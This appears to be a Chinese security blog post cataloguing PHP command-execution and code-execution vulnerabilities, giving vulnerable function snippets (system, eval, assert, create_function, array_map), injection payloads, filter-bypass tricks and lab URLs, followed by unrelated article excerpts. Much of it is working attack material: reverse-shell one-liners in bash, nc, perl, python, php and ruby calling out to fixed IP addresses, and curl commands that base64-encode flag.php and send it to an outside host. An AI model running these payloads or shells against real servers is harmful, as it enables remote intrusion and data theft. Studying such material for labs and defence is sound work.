技术标签: 命令执行 cyber security web 代码执行 网络安全
本篇总结归纳命令执行(RCE)漏洞和代码执行漏洞
二者区别如下
命令执行(Remote Command Execution, RCE)
Web应用的脚本代码在执行命令的时候过滤不严
从而注入一段攻击者能够控制的代码
在服务器上以Web服务的后台权限远程执行恶意指令
成因
常见的命令执行函数
该函数会把执行结果输出
并把输出结果的最后一行作为字符串返回
如果执行失败则返回false
这个也最为常用
<?php
highlight_file(__FILE__);
system('pwd');
system('whoami');
?>
不输出结果
返回执行结果的最后一行
可以使用output进行输出
<?php
highlight_file(__FILE__);
exec('pwd',$b);
var_dump($b);
?>
此函数只调用命令
并把运行结果原样地直接输出
没有返回值。
<?php
highlight_file(__FILE__);
passthru('ls');
?>
不输出结果,返回执行结果
使用反引号(``)时调用的就是此函数
<?php
highlight_file(__FILE__);
var_dump(shell_exec('ls'));
?>
此函数将打开输出缓冲
当输出缓冲激活后,脚本将不会输出内容(除http标头外)
相反需要输出的内容被存储在内部缓冲区中。
内部缓冲区的内容可以用 ob_get_contents()
函数复制到一个字符串变量中
想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush()
函数
另外, 使用 ob_end_clean()
函数会静默丢弃掉缓冲区的内容
<?php
ob_start("system");
echo "whoami";
ob_end_flush();
?>
Windows和Linux都支持的命令连接符:
cmd1 | cmd2
只执行cmd2cmd1 || cmd2
只有当cmd1执行失败后,cmd2才被执行cmd1 & cmd2
先执行cmd1,不管是否成功,都会执行cmd2cmd1 && cmd2
先执行cmd1,cmd1执行成功后才执行cmd2,否则不执行cmd2Linux还支持分号;
cmd1 ; cmd2
按顺序依次执行,先执行cmd1再执行cmd2代码执行漏洞
由于服务器对危险函数过滤不严
导致用户输入的一些字符串可以被转换成代码来执行
从而造成代码执行漏洞
成因
常见代码执行函数
${}
执行代码中间的php代码将会被解析
<?php
${
phpinfo()};
?>
将字符串当做函数进行执行
需要传入一个完整的语句
必须以分号 ;
结尾
最常用的函数
<?php
eval('echo "hello";');
?>
判断是否为字符串
是则当成代码执行
在php7.0.29之后的版本不支持动态调用
低版本
<?php
assert($_POST['a']);
?>
7.0.29之后
<?php
$a = 'assert';
$a(phpinfo());
?>
用来执行一个正则表达式的搜索和替换
执行代码需要使用/e
修饰符
前提是不超过php7
mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
$pattern
: 正则表达式匹配的内容
$replacement
: 用于替换的字符串或字符串数组。
$subject
: 要搜索替换的目标字符串或字符串数组。
<?php
preg_replace("/pat/e", $_GET['reg'], 'my pat');
?>
用来创建匿名函数
create_function(string $args,string $code)
一个demo
<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>
payload
?sort_by="]);}phpinfo();/*
为数组的每个元素应用回调函数
<?php
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
$array[0] = $b;
$c = array_map($a,$array);
?>
payload
?a=assert&b=phpinfo();
回调函数,可以使用is_callable查看是否可以进行调用
mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
第一个参数 callback 是被调用的回调函数
其余参数是回调函数的参数
<?php
highlight_file(__FILE__);
$a = 'system';
$b = 'pwd';
call_user_func($a,$b);
call_user_func('eval','phpinfo()');
?>
回调函数,参数为数组
mixed call_user_func_array ( callable $callback , array $param_arr )
第一个参数作为回调函数(callback)调用
把参数数组作(param_arr)为回调函数的的参数传入
<?php
highlight_file(__FILE__);
$array[0] = $_POST['a'];
call_user_func_array("assert",$array);
?>
array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
依次将 array 数组中的每个值传递到 callback 函数
如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中
数组的键名保留不变。
<?php
highlight_file(__FILE__);
$array[0] = $_GET['a'];
array_filter($array,'assert');
?>
使用自定义函数对数组进行排序
bool usort ( array &$array , callable $value_compare_func )
本函数将用用户自定义的比较函数对一个数组中的值进行排序
如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数
<?php
highlight_file(__FILE__);
usort(...$_GET); php5.6以上的写法
#usort($_GET[1],'assert'); php5.6可用
?>
payload
1[]=phpinfo()&1[]=123&2[]=assert
%0a
%0d
;
&
|
||
、&&
可以用以下字符代替空格
<
${
IFS}
$IFS$9
%09
$IFS
在linux下表示分隔符{}
固定了变量名$
可以起到截断的作用%00
%20
a=l,b=s;$a$b
echo 'cat' | base64
`echo 'Y2F0Cg==' | base64 -d` test.txt
cat$b /etc/passwd
cat /etc/pass'w'd
Bash标准通配符(也称为通配符模式)被各种命令行程序用于处理多个文件
可以通过man 7 glob 查看通配符帮助或者直接访问linux官网查询文档
可参考
例子
ls命令我们可以通过以下语法代替执行
/???/?s --help
- ; rm/tmp/f; mkfifo/tmp/f; cat /tmp/f|/bin/sh-i2>&1|nc 192.168.80.30 443 >/tmp/f
- ; perl-e 'use Socket;$i="192.168.80.30";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh-i");};'
- ; python-c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.80.30",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
- ; php-r '$sock=fsockopen("192.168.80.30",443);exec("/bin/sh-i<&3 >&3 2>&3");’
- ; ruby-rsocket-e'f=TCPSocket.open("192.168.80.30",443).to_i;execsprintf("/bin/sh-i<&%d >&%d 2>&%d",f,f,f)'
http://192.168.80.30/low.php?name=;cat flag.php
http://192.168.80.30/low.php?name=%26cat flag.php
http://192.168.80.30/low.php?name=|cat flag.php
http://192.168.80.30/low.php?name=`cat flag.php`
http://192.168.80.30/medium.php?name=%0acat flag.php
http://192.168.80.30/medium.php?name=$(cat flag.php)
http://192.168.80.30/high.php?name=$(cat<flag.php)
http://192.168.80.30/high.php?name=$(cat$IFS./flag.php)
http://192.168.80.30/low.php?name=;c''at flag.php
http://192.168.80.30/low.php?name=;c\at flag.php
http://192.168.80.30/low.php?name=;c$@at flag.php
http://192.168.80.30/high.php?name=$(c\at<flag.php)
http://192.168.80.30/high.php?name=$(tac<flag.php)
http://192.168.80.30/high.php?name=$(more<flag.php)
http://192.168.80.30/high.php?name=$(tail<flag.php)
http://192.168.80.30/noecho.php?name=;curl 192.168.9.111:1234?hh=`ls|base64`
http://192.168.80.30/noecho.php?name=;curl 192.168.9.111:1234?hh=`cat flag.php|base64`
http://192.168.80.30/noecho.php?name=%0acurl 192.168.9.111:1234?hh=`cat flag.php|base64`
http://192.168.80.30/noecho.php?name=%3Bbash%20-c%20%22bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.9.111%2f1234%200%3E%261%22%20
http://192.168.80.30/noecho.php?name=;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.9.111",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
对命令执行漏洞和代码执行漏洞做了个归纳
文章浏览阅读4.9w次,点赞23次,收藏64次。虽然说520已经过去好几天了,但是并不能影响我们学习的心,今天也是心血来潮写一个html5的表白小程序。一颗砰砰跳动的表白之心! !话不多说,直接来看效果图吧是不是看起来很酷呢,下面也是给出代码。<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-..._mt管理器表白代码
文章浏览阅读1.7k次。1.http://sgt.irobotbox.com/Api/API_Irobotbox_Orders.asmx 赛盒api文档的的详细说明2.你需要发送post请求(添加相应的参数),文档使用功能的是xml。这里我使用的Python对接。以下内容来至于对大佬的借鉴:https://www.cnblogs.com/insane-Mr-Li/p/9145152.html进入正题,我想获取相..._赛盒api
文章浏览阅读1.8k次。目前发生这种情况的主要有两种手机1.华为,2.小米1.华为适配 /** * 判断底部navigator是否已经显示 适配华为 * @param windowManager * @return */ @TargetApi(Build.VERSION_CODES.JELLY_BEAN_MR1) private boolean has..._小米手机底部导航条适配
文章浏览阅读6.1k次,点赞4次,收藏28次。一、Yarn的作用在大数据生态环境中,yarn主要有两个作用:资源管理和程序调度。二、Yarn的组成主要由ResourceManager、NodeManager、ApplicationMaster 和 Container 等组件构成。三、Yarn的基础架构(1)ResourceManager作用:1)处理客户端请求;2)监控NodeManager,对各个NodeManager上的资源进行统一管理和调度;3)给ApplicationMaster分配空闲的Container运行并监控其运行状态; _yarn的主要功能是什么
文章浏览阅读511次。之前就记录了在自己电脑上怎么安装Maven仓库的,以及安装后的仓库配置,(Maven的下载、安装),本章节主要记录的是Maven的几种种类以及如何将jar包文件夹(里面有着各种jar文件)配置到Maven仓库中,只有将jar包文件夹在Maven中配置后才能被项目所使用;详细如下:Maven的分类及其本地仓库配置到Macen中1、Maven的分类2、本地仓库在Maven中的配置《END》1、..._的清风设置 他
文章浏览阅读5.9k次,点赞2次,收藏29次。一:题目给定含有n个元素的多重集合s,每个元素在s中出现的次数称为该元素的重数,多重集s中重数最大的元素称为众数,给定多重集合s,求s中的众数集重数。二:思路首先,我们最容易想到的就是统计每个数的出现次数,然后比较得出结果。这个思路可以利用容器来实现。仔细思考,这道题目还可以用分治法来解决。解决步骤:①给数组排序;②找出中位数v并且确定中位数的个数num和左右边界;..._设 a 是 n 个数构成的数组, 其中出现次数最多的数称为众数. 设计一个算法求 a 的
文章浏览阅读1.8k次。1 第一章:数据载入及初步观察1.1 载入数据数据集下载 https://www.kaggle.com/c/titanic/overview1.1.1 任务一:导入numpy和pandas#写入代码import numpy as npimport pandas as pdimport os【提示】如果加载失败,学会如何在你的python环境下安装numpy和pandas这两个库1.1.2 任务二:载入数据(1) 使用相对路径载入数据(2) 使用绝对路径载入数据#写入代码test
文章浏览阅读1k次。Error: Activity class {com.example.project/com.example.projectggjk.MainActivity} does not exist.这个错误是因为我在同一文件夹曾有同名称的project,在文件夹内删掉了,但是模拟器内没有删掉,所以导致程序找不到新project的MainActivity。解决办法:Build-Clean Project重启Android Studio再次运行程序参考:https://blog.csdn.net/q_activity class {com.example.helloworld/com.example.helloworld.mainactivity}
文章浏览阅读5.1k次。出现connection refused异常 , zoo.cfg 文件配置问题server.1=0.0.0.0:2888:3888server.2=hxb02:2888:3888server.3=hxb03:2888:3888本机地址要写成 0.0.0.0高可用集群,zookeeper 启动成功,zkfc 显示启动成功。namenode节点DFSZKFailoverController...
文章浏览阅读485次。1、idea插件连接dockersyctemctl启动docker的脚本(vim /usr/lib/systemd/system/docker.service )添加-H tcp://0.0.0.0:2376 -H unix:///var/run/docker.sock ,默认docker没有监听任何端口的,另外要selinux关了,防火墙开放该端口一般都连接得上。参考:https:/..._idea env docker
文章浏览阅读412次。7月29日,华为宣布推出新一代智慧屏V75 Super。该产品凭借高质量的软硬结合,为用户带来了顶级的影音享受,以及领先行业的全场景智慧体验。一、 华为智慧屏V75 Super发布,顶级“画音”体验惊艳消费者V75 Super是华为V系列智慧屏的第二代产品,与第一代的V75 2021相比,V75 Super在延续了细窄边框和高屏占比优势的同时,还在硬件性能有新的突破。它使用了75英寸的mini LED屏幕。该屏幕通过搭载华为自研的鸿鹄SuperMiniLED精密矩阵背光解决方案,在画质、色彩表现力、_v75二代是什么型号
文章浏览阅读939次。原标题:手机计算器全线阵亡?10%+10%到底等于多少?9月3日,话题“手机计算器全线阵亡”登上热搜榜,消息称苹果、华为、小米、OPPO等各厂商手机计算器都出现了神奇的bug,不少手机计算机计算“10%+10%”时,得出的结果是0.11,而不是正确答案0.2。业内人士随后展开科普,表示这看起来是个Bug,但最终结果其实是计算器处理运算符号的逻辑所导致。iPhone X max、OPPO、华为荣耀、..._手机10%加10%